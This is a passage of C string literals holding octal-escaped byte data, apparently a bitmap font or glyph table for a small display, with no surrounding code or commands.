"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\300\300\300\200\200\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\20<||x\370\360\363\363\363\363\363\377\177\177\77\16\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\34|>>>\37\37\37\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\340\370\374\376\376\377\77\37\17\17\17\17\37\37\177\377\377\376\374\370\340\200\0" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\301\377\377\377\377\377\377\0" "\0\0\0\0\0\0\0\0\1\7\37\77\177\177\377\376\374\370\370\370\370\374\374\376\377\177\77\37\17\7\0\0" "\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\361\361\361\361\361\361\361\360\360\360\360\360\360\360\360\360" "\360\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\340\340\300\200\0\0\0\0\0\0\200\300\340\340\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\1\3\7\17\37\77\177\177\377\376\374\370\360\341\303\207\17\37\77\77\177\377\376\374\370\360" "\340\300\200\0\0\0\0\0\200\300\340\360\370\374\376\377\177\77\37\17\7\203\300\340\360\370\374\376\377\177\77\37" "\17\7\3\0\0\0\6\17\37\77\77\37\7\3\1\0\0\0\0\6\17\37\77\77\37\7\3\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\360\360\370\370\370\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\370\360" "\360`\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377\377\77\7" "\1\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\200\340\370\376\377\377\377\77\17\3\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\376\377\377\377\77\17\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377\177\37\7\1\0\0\200\300\340\370\374\376\376\376" "\376\0\0\0\0\0\0\0\200\340\374\377\377\377\177\37\7\1\300\340\360\370\374\377\337\317\303\301\377\377\377\377" "\377\300\300\300\0\0\0\16\37\37\77\77\17\1\0\0\0\0\3\3\3\3\3\3\3\3\3\3\377\377\377\377" "\377\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\360\360\370\370\370\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\370\370" "\360\340 \0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377\377\77\17" "\3\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\300\370\376\377\377\377\177\37\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377\177\37\7\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377\177\237\347\341\360\370\370x|<<<<<" "|\370\370\360\0\0\0\0\300\360\374\377\377\377\177\37\7\1\0\0\0\1\1\3\0\200\300\300\340\360\360\370" "|\77\77\37\0\0\0\17\17\37\37\77\17\1\0\0\0\0\0\0\370\374\376\376\377\377\377\377\373\371\370\370" "\370\370\370\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\370\374||>>>>>~\374\374\370\360\340\0\0\0\0\0\0\0\0\300\360\374\370\370" "\360\360 \0\200\200\0\0\36\36\36\36\36\77\77\377\377\373\361\300\0\0\0\200\340\374\377\377\377\377\77\17" "\3\0\0\0\77\177~\374\370\370\370\370\370\374~\177\77\37\17\207\340\370\376\377\377\377\77\17\3\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\376\377\377\377\177\37\7\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377\177\37\7\1\0\0\200\300\340\370\374\376\376\376" "\376\0\0\0\0\0\0\0\300\360\374\377\377\377\177\37\7\1\300\340\360\370\374\377\337\317\303\301\377\377\377\377" "\377\300\300\300\0\0\10\17\37\37\77\77\7\1\0\0\0\0\3\3\3\3\3\3\3\3\3\3\377\377\377\377" "\377\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\360\370\370\370\370\360\360\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\17\37\37\37\37\17\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\340\360\370\374\374\377\377\377\177\77\37\17\3\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\374\377\377\377\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0" "\0\0\0\0\0\0\3\37\77\177\377\377\377\376\370\360\360\340\340\340\340\340\340\360\360\370\374\376\377\377\177~" "<\10\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\301\341\343\203\3\7\7\7\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\377\377\377\374\360\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\360\376\377\377\377\177\17\37\377\377\377\377\376\360\300\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\360\376\377\377\377\377\37\3\0\0\0\0\7\37\377\377\377\377\376\370\300\0\0" "\0\0\0\0\0\200\340\374\377\377\377\377\177\177~~~~~~~~~~\177\177\377\377\377\377\376\370" "\300\0\0\0\374\377\377\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\77\377\377\377" "\377\377\370\340\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\1\341\361\360\300\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\377\376\370\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\377\377\77\7\17\177\377\377\377\377\370\340\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\370\377\377\377\377\177\17\1\0\0\0\0\3\17\177\377\377\377\377\374\340\0\0" "\0\0\0\0\0\300\360\376\377\377\377\377\77\77\77\77\77\77\77\77\77\77\77\77\77\77\377\377\377\377\377\374" "\340\200\0\0\376\377\377\377\377\177\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\377\377\377" "\377\377\374\360\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3" "\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\6\17\37\37\17\17\7\7\3\301\341\341\201\3\7\17\17\37\77\37\7\2\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\377\377\377\374\360\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\360\376\377\377\377\177\17\37\377\377\377\377\376\360\300\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\360\376\377\377\377\377\37\3\0\0\0\0\7\37\377\377\377\377\376\370\300\0\0" "\0\0\0\0\0\200\340\374\377\377\377\377\177\177~~~~~~~~~~\177\177\377\377\377\377\376\370" "\300\0\0\0\374\377\377\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\77\377\377\377" "\377\377\370\340\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\300\340\341\201\3\3\3\3\3\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\377\377\377\376\360\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\360\376\377\377\377\177\17\37\377\377\377\377\376\360\300\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\360\376\377\377\377\377\37\3\0\0\0\0\7\37\377\377\377\377\376\370\300\0\0" "\0\0\0\0\0\200\340\374\377\377\377\377\177\177~~~~~~~~~~\177\177\377\377\377\377\376\370" "\300\0\0\0\374\377\377\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\77\377\377\377" "\377\377\370\340\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\1\3\7\7\7\7\7\3\1\0\340\340\340\0\1\3\7\7\7\7\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\377\374\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\377\377\77\7\77\377\377\377\377\374\360\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\370\376\377\377\377\177\17\1\0\0\0\1\17\77\377\377\377\377\374\360\200\0\0" "\0\0\0\0\0\200\360\376\377\377\377\377\177\177~~~~~~~~~\177\177\377\377\377\377\377\376\360" "\200\0\0\0\374\377\377\377\377\177\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\177\377\377\377" "\377\376\360\300\7\7\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\7\17\37\77|\370\370\370\370|\77\37\17\7\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\377\376\360\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\360\376\377\377\377\177\37\37\377\377\377\377\376\360\300\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\360\374\377\377\377\377\37\3\0\0\0\0\3\37\177\377\377\377\376\370\300\0\0" "\0\0\0\0\0\0\340\374\377\377\377\377\177\177~~~~~~~~~~\177\177\377\377\377\377\377\370" "\340\0\0\0\374\377\377\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\377\377\377" "\377\377\374\340\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\0\0\0\0\0\0\0\0\200\360\376\377\377\377\377\377\377\377\377\377\377\17\17\17\17\17\17\17" "\17\17\17\17\0\0\0\0\0\0\340\374\377\377\377\377\77\7\0\377\377\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\360\377\377\377\377\377\37\1\0\0\0\377\377\377\377\377\377\77\77\77\77\77\77\77" "\77\77\77\77\0\340\374\377\377\377\377\377\377\374\374\374\374\374\374\377\377\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\37\3\0\0\0\0\0\0\0\0\377\377\377\377\377\377\340\340\340\340\340\340\340" "\340\340\340\340\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0" "\0\0\0\0\0\0\0\300\340\360\370\374\376\377\377\177\77\77\37\37\17\17\17\37\37\37\77\177\377\377\376\376" "\374\370\360\300\300\370\377\377\377\377\377\377\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7" "\7\3\3\1\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\7\177\377\377\377\377\377\376\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\3\7\37\77\177\377\377\377\376\374\370\360\360\340\340\340\340\340\340\340\360\360\370\374\377\377" "\377~<\14\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\367\377\377\377\307\307\307\307\203\3\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\10\34\36><|xyyyyy\177\77\77\37\17\0\0" "\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\340\341\341\341\343\343\343\341\340\340\340\340\340\340" "\340\340\0\0\0\377\377\377\377\377\377\377\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\377\377\377\377\377\377\377\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\0" "\0\0\0\0\0\377\377\377\377\377\377\377\37\37\37\37\37\37\37\37\37\37\37\37\37\37\37\37\37\37\37\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\360\360\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\343\343\343\343\341\341\340\340\340\340\340\340\340\340\340\340\340" "\340\340\0\0\0\377\377\377\377\377\377\377\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\377\377\377\377\377\377\377\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\0" "\0\0\0\0\0\377\377\377\377\377\377\377\37\37\37\37\37\37\37\37\37\37\37\37\37\37\37\37\37\37\37\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\360\360\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\306\317\337\337\337\317\307\307\303\301\301\301\303\303\307\317\317\337\377\337\307\302\300" "\300\300\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\340\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\301\303\307\307\307\307\307\303\301\300\300\300\300\300\301\303\307\307\307\307\307\303\301\300" "\300\300\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\340\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\341\341\343\343\343\343\340\340\340\340\340\340" "\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\377\377\377\377\377\377\377\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\377\377\377\377\377\377\377\360\360\360\360\360\360\360\360\360" "\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\343\343\343\343\341\341\340\340\340\340\340\340\340\340\340\340\340" "\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\377\377\377\377\377\377\377\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\377\377\377\377\377\377\377\360\360\360\360\360\360\360\360\360" "\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\306\317\337\337\317\317\307\303\303\301\300\301\303\303\307\317\337\337\377\337\307\302\300" "\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340" "\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\301\303\307\307\307\307\303\303\301\300\300\300\300\300\301\303\307\307\307\307\307\303\301\300" "\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340" "\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\37\37\37\37\77\177\377\377\377\376\374\370\360" "\300\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\377\377\377\377" "\377\377\374\300\77\77\377\377\377\377\377\377\377\77\77\77\77\77\77\77\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\377\377\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\374\377\377\377" "\377\377\177\7\0\0\377\377\377\377\377\377\377\340\340\340\340\340\340\340\360\360\370\370\374\376\377\377\377\177\77\17" "\7\1\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\3\3\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\301\203\1\0\0\0\0\0\0\0\1\1\3\3\3\3\3\3\303\301\300\300" "\300\300\300\300\377\377\377\377\377\377\377\377\376\370\340\300\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\7\37\77\377\377\377\374\360\340\200\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\3\17\77\177\377\377\376\370\340\300\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\1\7\37\177\377\377\377\374\360\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\377\377\377" "\377\377\377\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\201\301\301\303\303\303\307\307\317\217\207\201\0\0\0\0\0" "\0\0\0\0\0\0\300\340\370\374\376\376\377\377\177\77\37\37\37\17\17\17\37\37\77\77\177\377\377\376\374\374" "\360\340\300\0\374\377\377\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\77\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\377\377\177\377\377\377\377\377\376\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377" "\377\377\377\377\0\1\7\37\77\177\377\377\377\376\370\370\360\340\340\340\340\340\340\340\360\370\374\376\377\377\377\177" "\77\37\7\1\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\203\207\317\307\307\307\303\303\303\301\201\201\200\0\0\0\0\0" "\0\0\0\0\0\0\300\340\370\374\376\376\377\377\177\77\37\37\37\17\17\17\37\37\77\77\177\377\377\376\374\374" "\360\340\300\0\374\377\377\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\77\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\377\377\177\377\377\377\377\377\376\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377" "\377\377\377\377\0\1\7\37\77\177\377\377\377\376\370\370\360\340\340\340\340\340\340\340\360\370\374\376\377\377\377\177" "\77\37\7\1\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\4\16\37\77\37\217\217\307\307\303\301\301\303\303\307\217\237\237\77\77\37\6\0" "\0\0\0\0\0\0\300\340\370\374\376\376\377\377\177\77\37\37\37\17\17\17\37\37\77\77\177\377\377\376\374\374" "\360\340\300\0\374\377\377\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\77\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\377\377\177\377\377\377\377\377\376\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377" 